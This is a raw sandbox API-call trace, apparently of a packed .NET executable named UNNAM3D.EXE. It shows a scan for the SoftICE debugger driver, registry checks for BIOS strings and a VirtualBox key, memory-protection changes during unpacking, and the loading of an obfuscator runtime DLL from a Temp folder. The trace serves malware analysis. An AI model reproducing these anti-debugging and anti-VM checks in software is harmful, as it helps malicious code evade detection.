lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0121.961] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0121.962] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0121.963] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0121.963] lstrcmpiA (lpString1="iceext.sys", lpString2="rspndr.sys") returned -1 [0122.000] VirtualProtect (in: lpAddress=0x7705f7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xb6e3a0 | out: lpflOldProtect=0xb6e3a0*=0x20) returned 1 [0122.000] VirtualProtect (in: lpAddress=0x7705f7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0xb6e3a4 | out: lpflOldProtect=0xb6e3a4*=0x40) returned 1 [0122.001] VirtualProtect (in: lpAddress=0x76fd000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xb6e3a0 | out: lpflOldProtect=0xb6e3a0*=0x20) returned 1 [0122.001] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0xb6e3a4 | out: Wow64Process=0xb6e3a4) returned 1 [0122.001] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x71551f8b | out: phkResult=0x71551f8b*=0x210) returned 0x0 [0122.002] RegQueryValueExA (in: hKey=0x210, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x715a3ee5, lpcbData=0x714083f4*=0x29d1e58b | out: lpType=0x0, lpData=0x715a3ee5*=0x53, lpcbData=0x714083f4*=0x1e) returned 0x0 [0122.002] RegCloseKey (hKey=0x210) returned 0x0 [0122.002] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x71551f8b | out: phkResult=0x71551f8b*=0x210) returned 0x0 [0122.002] RegQueryValueExA (in: hKey=0x210, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x715a3ee5, lpcbData=0x714083f4*=0x200 | out: lpType=0x0, lpData=0x715a3ee5*=0x4c, lpcbData=0x714083f4*=0x73) returned 0x0 [0122.002] RegQueryValueExA (in: hKey=0x210, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x715a3ee5, lpcbData=0x714083f4*=0x200 | out: lpType=0x0, lpData=0x715a3ee5*=0x4c, lpcbData=0x714083f4*=0x200) returned 0x2 [0122.002] RegQueryValueExA (in: hKey=0x210, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x715a3ee5, lpcbData=0x714083f4*=0x200 | out: lpType=0x0, lpData=0x715a3ee5*=0x4c, lpcbData=0x714083f4*=0x73) returned 0x0 [0122.002] RegCloseKey (hKey=0x210) returned 0x0 [0122.002] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x71551f8b | out: phkResult=0x71551f8b*=0x0) returned 0x2 [0122.015] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0122.016] VirtualProtect (in: lpAddress=0x713b1000, dwSize=0x0, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x6f89823f) returned 0 [0122.016] VirtualProtect (in: lpAddress=0x713b1000, dwSize=0x0, flNewProtect=0x6f89823f, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x6f89823f) returned 0 [0122.016] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0122.016] VirtualAlloc (lpAddress=0x0, dwSize=0x12600, flAllocationType=0x1000, flProtect=0x4) returned 0xa50000 [0122.016] VirtualProtect (in: lpAddress=0x713c1000, dwSize=0x12600, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x20) returned 1 [0122.021] VirtualProtect (in: lpAddress=0x713c1000, dwSize=0x12600, flNewProtect=0x20, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.022] VirtualFree (lpAddress=0xa50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.022] VirtualAlloc (lpAddress=0x0, dwSize=0x1800, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.023] VirtualProtect (in: lpAddress=0x713d4000, dwSize=0x1800, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x2) returned 1 [0122.024] VirtualProtect (in: lpAddress=0x713d4000, dwSize=0x1800, flNewProtect=0x2, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.024] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.025] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.025] VirtualProtect (in: lpAddress=0x713d6000, dwSize=0x200, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x8) returned 1 [0122.026] VirtualProtect (in: lpAddress=0x713d6000, dwSize=0x200, flNewProtect=0x8, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.026] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.026] VirtualAlloc (lpAddress=0x0, dwSize=0xe00, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.026] VirtualProtect (in: lpAddress=0x713d7000, dwSize=0xe00, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x8) returned 1 [0122.027] VirtualProtect (in: lpAddress=0x713d7000, dwSize=0xe00, flNewProtect=0x8, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.027] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.028] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.028] VirtualProtect (in: lpAddress=0x713d8000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x8) returned 1 [0122.029] VirtualProtect (in: lpAddress=0x713d8000, dwSize=0x400, flNewProtect=0x8, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.029] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.029] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.029] VirtualProtect (in: lpAddress=0x713d9000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x2) returned 1 [0122.030] VirtualProtect (in: lpAddress=0x713d9000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.031] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.031] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.031] VirtualProtect (in: lpAddress=0x713da000, dwSize=0xa00, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x2) returned 1 [0122.032] VirtualProtect (in: lpAddress=0x713da000, dwSize=0xa00, flNewProtect=0x2, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.032] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.032] VirtualProtect (in: lpAddress=0x713d7000, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.032] VirtualProtect (in: lpAddress=0x713d72ec, dwSize=0x274, flNewProtect=0x40, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x40) returned 1 [0122.033] VirtualProtect (in: lpAddress=0x713d72ec, dwSize=0x244, flNewProtect=0x40, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x40) returned 1 [0122.034] GetModuleHandleA (lpModuleName="CRYPT32.dll") returned 0x75710000 [0122.034] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x75100000 [0122.034] GetModuleHandleA (lpModuleName="VERSION.dll") returned 0x74ad0000 [0122.034] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x75c60000 [0122.034] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75900000 [0122.034] VirtualAlloc (lpAddress=0x0, dwSize=0x4eb8, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0122.126] GetProcAddress (hModule=0x76fc0000, lpProcName="RtlAllocateHeap") returned 0x76fee026 [0122.127] GetProcAddress (hModule=0x76fc0000, lpProcName="RtlLeaveCriticalSection") returned 0x76fe2270 [0122.127] GetProcAddress (hModule=0x76fc0000, lpProcName="RtlEnterCriticalSection") returned 0x76fe22b0 [0122.127] GetProcAddress (hModule=0x76fc0000, lpProcName="RtlInitializeCriticalSection") returned 0x76ff2c42 [0122.127] GetProcAddress (hModule=0x76fc0000, lpProcName="RtlReAllocateHeap") returned 0x77001f6e [0122.195] GetProcAddress (hModule=0x76fc0000, lpProcName="RtlSizeHeap") returned 0x76ff3002 [0122.196] VirtualProtect (in: lpAddress=0x713c1000, dwSize=0x12497, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x20) returned 1 [0122.197] VirtualProtect (in: lpAddress=0x713d8000, dwSize=0x361, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.198] VirtualProtect (in: lpAddress=0x713c1000, dwSize=0x12497, flNewProtect=0x20, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.198] VirtualProtect (in: lpAddress=0x713d8000, dwSize=0x361, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.198] VirtualProtect (in: lpAddress=0x713b0000, dwSize=0x1d8, flNewProtect=0x4, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x2) returned 1 [0122.199] VirtualProtect (in: lpAddress=0x713b0000, dwSize=0x1d8, flNewProtect=0x2, lpflOldProtect=0x7141c946 | out: lpflOldProtect=0x7141c946*=0x4) returned 1 [0122.199] GetProcessHeap () returned 0xd90000 [0122.199] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x10) returned 0xdf2fa8 [0122.199] GetProcessHeap () returned 0xd90000 [0122.199] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x10) returned 0xdf2fc0 [0122.199] SetCurrentDirectoryW (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1 [0122.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Initialize", cchWideChar=11, lpMultiByteStr=0xb6e82c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Initialize", lpUsedDefaultChar=0x0) returned 11 [0122.208] GetProcAddress (hModule=0x713b0000, lpProcName="_Initialize") returned 0x713c142e [0122.259] GetCurrentProcess () returned 0xffffffff [0122.259] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0xb6dee4 | out: TokenHandle=0xb6dee4*=0x20c) returned 1 [0122.584] CoTaskMemAlloc (cb=0x20c) returned 0xdff8c8 [0122.584] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xdff8c8 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0122.584] CoTaskMemFree (pv=0xdff8c8) [0122.584] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0xb6da50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0122.584] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", nBufferLength=0x105, lpBuffer=0xb6da40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", lpFilePart=0x0) returned 0x4a [0122.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6de28) returned 1 [0122.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0xb6dea4 | out: lpFileInformation=0xb6dea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2706a440, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x270905a0, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6de24) returned 1 [0122.584] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0xb6da40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0122.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6dea0) returned 1 [0122.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), fInfoLevelId=0x0, lpFileInformation=0xb6df1c | out: lpFileInformation=0xb6df1c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270905a0, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x27128b20, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x218930)) returned 1 [0122.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6de9c) returned 1 [0122.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", cchWideChar=91, lpMultiByteStr=0xb6de98, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpUsedDefaultChar=0x0) returned 91 [0122.584] LoadLibraryA (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll") returned 0x713b0000 [0122.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Initialize", cchWideChar=11, lpMultiByteStr=0xb6dfd4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Initialize", lpUsedDefaultChar=0x0) returned 11 [0122.584] GetProcAddress (hModule=0x713b0000, lpProcName="_Initialize") returned 0x713c142e [0122.585] VirtualQuery (in: lpAddress=0x713d6594, lpBuffer=0xb6d9e8, dwLength=0x1c | out: lpBuffer=0xb6d9e8*(BaseAddress=0x713d6000, AllocationBase=0x713b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000)) returned 0x1c [0122.585] GetProcessHeap () returned 0xd90000 [0122.585] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x18) returned 0xddcdb8 [0122.585] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x224 [0122.585] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x228 [0122.585] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x22c [0122.585] GetCurrentThreadId () returned 0x734 [0122.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x713c114f, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0xb6da08 | out: lpThreadId=0xb6da08*=0x4f4) returned 0x230 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xe4) returned 0xdff8c8 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf82d8 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8320 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8368 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf83b0 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf83f8 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8440 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8488 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf84d0 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8518 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8560 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf85a8 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf85f0 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8638 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf8680 [0122.586] GetProcessHeap () returned 0xd90000 [0122.586] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xdf3008 [0122.586] GetCurrentProcess () returned 0xffffffff [0122.586] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0xb6d484 | out: lphModule=0x0, lpcbNeeded=0xb6d484) returned 1 [0122.587] GetProcessHeap () returned 0xd90000 [0122.587] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x220) returned 0xdff9b8 [0122.587] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0xdff9b8, cb=0x220, lpcbNeeded=0xb6d484 | out: lphModule=0xdff9b8, lpcbNeeded=0xb6d484) returned 1 [0122.587] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x290000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="UNNAM3D.EXE") returned 0xb [0122.587] lstrcmpiA (lpString1="UNNAM3D.EXE", lpString2="mscorjit.dll") returned 1 [0122.587] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76fc0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="ntdll.dll") returned 0x9 [0122.587] lstrcmpiA (lpString1="ntdll.dll", lpString2="mscorjit.dll") returned 1 [0122.587] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x73320000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0122.587] lstrcmpiA (lpString1="MSCOREE.DLL", lpString2="mscorjit.dll") returned -1 [0122.587] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75900000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="KERNEL32.dll") returned 0xc [0122.587] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="mscorjit.dll") returned -1 [0122.587] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75bb0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0122.588] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="mscorjit.dll") returned -1 [0122.588] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74f30000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0122.588] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="mscorjit.dll") returned -1 [0122.588] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75200000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="msvcrt.dll") returned 0xa [0122.588] lstrcmpiA (lpString1="msvcrt.dll", lpString2="mscorjit.dll") returned 1 [0122.588] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x758e0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="sechost.dll") returned 0xb [0122.588] lstrcmpiA (lpString1="sechost.dll", lpString2="mscorjit.dll") returned 1 [0122.588] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75620000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="RPCRT4.dll") returned 0xa [0122.589] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="mscorjit.dll") returned 1 [0122.589] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74b20000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="SspiCli.dll") returned 0xb [0122.589] lstrcmpiA (lpString1="SspiCli.dll", lpString2="mscorjit.dll") returned 1 [0122.589] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74b10000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0122.589] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="mscorjit.dll") returned -1 [0122.589] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74a20000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="mscoreei.dll") returned 0xc [0122.589] lstrcmpiA (lpString1="mscoreei.dll", lpString2="mscorjit.dll") returned -1 [0122.589] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75c00000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0122.589] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="mscorjit.dll") returned 1 [0122.589] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75040000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="GDI32.dll") returned 0x9 [0122.590] lstrcmpiA (lpString1="GDI32.dll", lpString2="mscorjit.dll") returned -1 [0122.590] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75c60000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="USER32.dll") returned 0xa [0122.590] lstrcmpiA (lpString1="USER32.dll", lpString2="mscorjit.dll") returned 1 [0122.590] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76f90000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="LPK.dll") returned 0x7 [0122.590] lstrcmpiA (lpString1="LPK.dll", lpString2="mscorjit.dll") returned -1 [0122.590] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74e90000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="USP10.dll") returned 0x9 [0122.590] lstrcmpiA (lpString1="USP10.dll", lpString2="mscorjit.dll") returned 1 [0122.590] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75b50000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="IMM32.DLL") returned 0x9 [0122.591] lstrcmpiA (lpString1="IMM32.DLL", lpString2="mscorjit.dll") returned -1 [0122.591] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75ea0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSCTF.dll") returned 0x9 [0122.591] lstrcmpiA (lpString1="MSCTF.dll", lpString2="mscorjit.dll") returned 1 [0122.591] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74ad0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="VERSION.dll") returned 0xb [0122.591] lstrcmpiA (lpString1="VERSION.dll", lpString2="mscorjit.dll") returned 1 [0122.591] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74370000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="clr.dll") returned 0x7 [0122.592] lstrcmpiA (lpString1="clr.dll", lpString2="mscorjit.dll") returned -1 [0122.592] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74270000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0122.592] lstrcmpiA (lpString1="MSVCR120_CLR0400.dll", lpString2="mscorjit.dll") returned 1 [0122.592] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x71980000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0122.592] lstrcmpiA (lpString1="mscorlib.ni.dll", lpString2="mscorjit.dll") returned 1 [0122.592] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74b80000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="ole32.dll") returned 0x9 [0122.593] lstrcmpiA (lpString1="ole32.dll", lpString2="mscorjit.dll") returned 1 [0122.593] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x732a0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="uxtheme.dll") returned 0xb [0122.593] lstrcmpiA (lpString1="uxtheme.dll", lpString2="mscorjit.dll") returned 1 [0122.593] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x741f0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="clrjit.dll") returned 0xa [0122.593] 